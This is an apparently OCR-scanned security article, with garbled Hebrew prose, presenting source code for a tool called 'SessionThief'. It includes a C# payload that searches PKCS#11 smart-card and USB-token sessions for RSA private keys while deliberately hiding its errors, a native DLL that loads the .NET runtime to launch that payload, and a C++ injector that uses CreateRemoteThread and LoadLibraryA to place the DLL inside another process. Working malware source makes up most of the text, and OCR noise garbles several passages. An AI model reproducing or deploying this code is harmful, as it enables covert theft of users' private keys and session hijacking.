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P Met.Sf.Pkes1l
4 Injected DLL
] JossefH.5ecurity.SessionThief
I J Properties
P =B References
4 c* TokenPayload.cs
4 *3 TokenPayload
& InjectionMethod(string) : int
F PKCS11ModuleMames ; [Enumerable<string>
@ FRunning: bool
@ TokenSessionHijack() : void
0 GetR5APrivatekeys(Session) : [Enumerable<RSAPrivatekey:
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.InjectionMethod X'n P11 DLL-nw) NXY7W nTivnn .TokenPayload Xj7aw Class o"p nt DLL-a

:TokenSessionHijack NTILUN - TN thread NNNI® X'N N7 D'RIIPWD

// This method will be called by native code inside the target process...
public static int InjectionMethod (String pwzArgument)
{
// This section running on the managed .net application
try
{
// Launch a new Task (.net 4 Threading approach)
Task.Factory.StartNew (TokenSessionHijack) ;
}
catch
{
// Purposely Swallow the caught exception in order to stay invisible

}

return 0;
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public static IEnumerable<string> PKCSl1lModuleNames
{
get
{
yield return "tokenProviderl.dll";
yield return "tokenProvider2.dll";
yield return "tokenProvider3.dll";
yield return "tokenProvider4.dll";

:Session [N1'N2 D"V1O NINNSNY7 D'Handle N'TNN GetRSAPrivateKeys nTiun

public static IEnumerable<RSAPrivateKey> GetRSAPrivateKeys (Session session)
{
session.FindObjectsInit (new Pl1Attributel[] {
new ObjectClassAttribute (CKO.PRIVATE KEY),
new KeyTypeAttribute (CKK.RSA)
}):

IEnumerable<P110bject> objects = session.FindObjects (99);
session.FindObjectsFinal () ;
return objects.O0fType<RSAPrivateKey>();
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public static void TokenSessionHijack ()
{
while (true)
{
// PKCS11l Module Lookup
foreach (var pkcsllModuleName in PKCS11ModuleNames)
{
try
{
// Construct a PKCS11l Module
Module module = Module.GetInstance (pkcsllModuleName) ;

// Get only the slots with a presented token
// Slot can be a smart card reader or the token himself (in case of USB
Token/HSM)
var slots = module.GetSlotList (true);
foreach (var slot in slots)
{
try
{
using (Session session = slot.Token.OpenSession(false))
{
// We can get RSAPrivateKeys only if the user is logged in
// this IEnumerable will be empty if the user is not logged in or
the user have no private keys on his token
IEnumerable<RSAPrivateKey> rsaPrivateKeys =
GetRSAPrivateKeys (session) ;

// If we didn't find any keys
if (!rsaPrivateKeys.Any())
{

// Continue to the next slot
continue;

YNNYNNWI 71 D'RN D090 NINNSNN NX) Nainn wnnunnw X ,7"0 Tip yop'? nyvan DX

:NN9N2 WIN'Y NYIYVY TIzn YOR Dpm' X1 (hainn

// We can see the private keys

// ... Do whatever you like with the private key

}

catch

{

// Problem occurred, continue to the next slot
continue;
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}

catch

{
// Problem occurred, continue to the next pkcsllModuleName
continue;

}

// Sleep for 5 seconds
Thread.Sleep (5000) ;
}

:JossefH.Security.SessionThiefLoader

:Managed Application-7 Managed DLL Nzt NN9> anda ,C++-1 2MdW Native DLL

b ®D External Dependencies
= Header Files
BN Resource Files
4 &g SourceFiles
4+ DLLMain.cpp
Il ARGUMENT_MAME

||

CLR_VERSION

@ DIMain(HINSTANCE, DWORD, LPVOID)
@ Initialized

@ InjectManagedDLL()
MANAGED_DLL_FULL_PATH
METHOD_NAME

TYPE NAME

1w

1w

>

:MSDN-21 XI¥xn? N1 7> 7y 720n ,DLLMain EntryPoint-n o n7 DLL-2

http://msdn.microsoft.com/en-us/library/windows/desktop/ms682596%28v=vs.85%29.aspx

:InjectManagedDLL N"¥j1197 XNj'7 NT NWIV XINW NN ‘D

static bool Initialized = false;

BOOL WINAPI Dl1Main (
HINSTANCE dllHandle,
DWORD callingReason,
LPVOID lpReserved )

switch( callingReason )

{
case DLL PROCESS ATTACH:

{
if (!Initialized)
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InjectManagedDLL () ;
Initialized = true;
}
}

break;

}

return TRUE;

-N DX NIV P NX71.NET 7w CLR-N NX NMayI0 ,0'kNn APl NNTYA InjectManagedDLL N'¥j7119

:JossefH.Security.SessionThief.TokenPayload Nj7'7nna InjectionMethod-"? nXIj7I Managed DLL

void InjectManagedDLL ()

{
A e e e e
// Create the instance of the CLR

ICLRMetaHost* clrPointer = NULL;
HRESULT result;

result = CLRCreatelInstance (
CLSID CLRMetaHost,
ITID ICLRMetaHost,
(LPVOID *)&clrPointer

) ;

if (FAILED (result))
{

return;

}

J] ==mmmmmememememesossssssssssssssssesosososse oo
// Get a reference for the ICLRRuntimeInfo

ICLRRuntimeInfo * runtimeInfo = NULL;

result = clrPointer->GetRuntime (
CLR VERSION,
IID ICLRRuntimeInfo,
(LPVOID *)&runtimelInfo
) ;

if (FAILED (result))
{

return;

}

A e e e
// Load the CLR.

ICLRRuntimeHost * runtimeHost = NULL;
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result = runtimeInfo->GetInterface (
CLSID CLRRuntimeHost,
IID ICLRRuntimeHost,
(LPVOID *)&runtimeHost
)

if (FAILED(result))
{

return;

}

/) ==——m—scsmoscoosooosooosooosomosooossoes e oe s eess
// Start the CLR by using the hosting version 4

result = runtimeHost->Start () ;

if (FAILED(result))
{

return;

}

/] ==—cm—scssscoosooosooosooosmrosmoosmoos oo aess
// Call the injected dll Method

DWORD functionResult = 0;

result = runtimeHost->ExecuteInDefaultAppDomain (
MANAGED DLL FULL PATH, // Executable path
TYPE NAME,
METHOD NAME,
ARGUMENT NAME,
&functionResult

if (FAILED (result))
{

return;

}

e i e
// Thats it. Injected Successfully.
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4 JossefH.5ecurity SessionThieflLoaderInjector
P =3 External Dependencies
B Header Files
B Resource Files
4 &g Source Files
4+ Main.cpp
InjectDLL{DWORD, LPCSTR)
InjectDllIntoAnctherProcessichar *, char *)
main(int, char **)

RaisePrivileges()

eaaa
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void InjectDLL (DWORD processId, LPCSTR unmanagedDLLFilePath)

{
BOOL result;

:j?910W Process ID-7 Handle nn'no

[ ===c——scmsscossooosoosooosooosooosnoosos
// Get a handle to the process by process id

HANDLE processHandle = OpenProcess (
PROCESS CREATE THREAD|PROCESS QUERY INFORMATION |
PROCESS VM OPERATION|PROCESS VM WRITE |
PROCESS VM READ, FALSE, processId
) ;

if (processHandle == INVALID HANDLE VALUE)
{

cout << "Failed to get a handle to the process by process id - " <<
processId << endl;

return;

:Buffer-7 2'man namdi DLL-n 217 Buffer nxypn

e .-_e. s e e, s .- i
// Allocate Space for the DLL Path string on the remote Process

DWORD unmanagedDLLFilePathBufferSize = lstrlen (unmanagedDLLFilePath) + 1;

LPVOID unmanagedDLLFilePathBufferPointer = VirtualAllocEx (
processHandle,
NULL,
unmanagedDLLFilePathBufferSize,
MEM COMMIT,
PAGE READWRITE
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if (unmanagedDLLFilePathBufferPointer == NULL)

{
cout << "Failed to Allocate Space for the DLL Path string on the remote
Process" << endl;
return;

/)
// Write the DLL Path string on the allocated buffer

result = WriteProcessMemory (
processHandle,
unmanagedDLLFilePathBufferPointer,
unmanagedDLLFilePath,
unmanagedDLLFilePathBufferSize,
NULL
) ;

if (result == FALSE)

{
cout << "Failed to Write the DLL Path string on the allocated buffer"
<< endl;
return;

N"YI97 yaxnn NN A7 Callback-n A"wWKRd pnnnn Process-2 wTn Thread Ny

:q0uN19> DLL N 7w amMant LoadLibrary

J) ==mmmm=cemememesossssssssssssssssosososss
// Load Kernel32 DLL

HMODULE kernel32ModuleHandle = LoadLibrary (TEXT ("kernel32.d11"));

if (kernel32ModuleHandle == NULL)

{
cout << "Failed to Load Kernel32 DLL" << endl;

return;

[ s=——=——cssoososooooomososooooooasoooooos
// Get "LoadLibraryA" Function Address

LPVOID loadLibraryFunctionPointer = GetProcAddress (kernel32ModuleHandle,
TEXT ("LoadLibraryA")) ;

if (loadLibraryFunctionPointer == NULL)

{
cout << "Failed to Get \"LoadLibraryA\" Function Address" << endl;

return;
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Jf) =—————scsmosooosooosooosorosomoseoosooess
// Create a remote thread that will launch LoadLibraryA with
unmanagedDLLFilePathBufferPointer as argument

HANDLE remoteThreadHandle = CreateRemoteThread (
processHandle,
NULL,
0,
(LPTHREAD START ROUTINE)loadLibraryFunctionPointer,
unmanagedDLLFilePathBufferPointer,
0,
NULL
)

if (remoteThreadHandle == NULL)

{
cout << "Failed to Create a remote thread that will launch LoadLibraryA
with unmanagedDLLFilePathBufferPointer as argument" << endl;
return;

/) =
// Wait for the remote thread to finish and get the exit code

DWORD remoteThreadExitCode;

WaitForSingleObject (remoteThreadHandle, INFINITE) ;
GetExitCodeThread (remoteThreadHandle, &remoteThreadExitCode) ;
cout << "Thread Exit code - " << remoteThreadExitCode << endl;

/] e

// Release Resources

CloseHandle (remoteThreadHandle) ;
Freelibrary (kernel32ModuleHandle) ;
VirtualFreeEx (processHandle,
unmanagedDLLFilePathBufferPointer,
0,
MEM RELEASE
)7

CloseHandle (processHandle) ;
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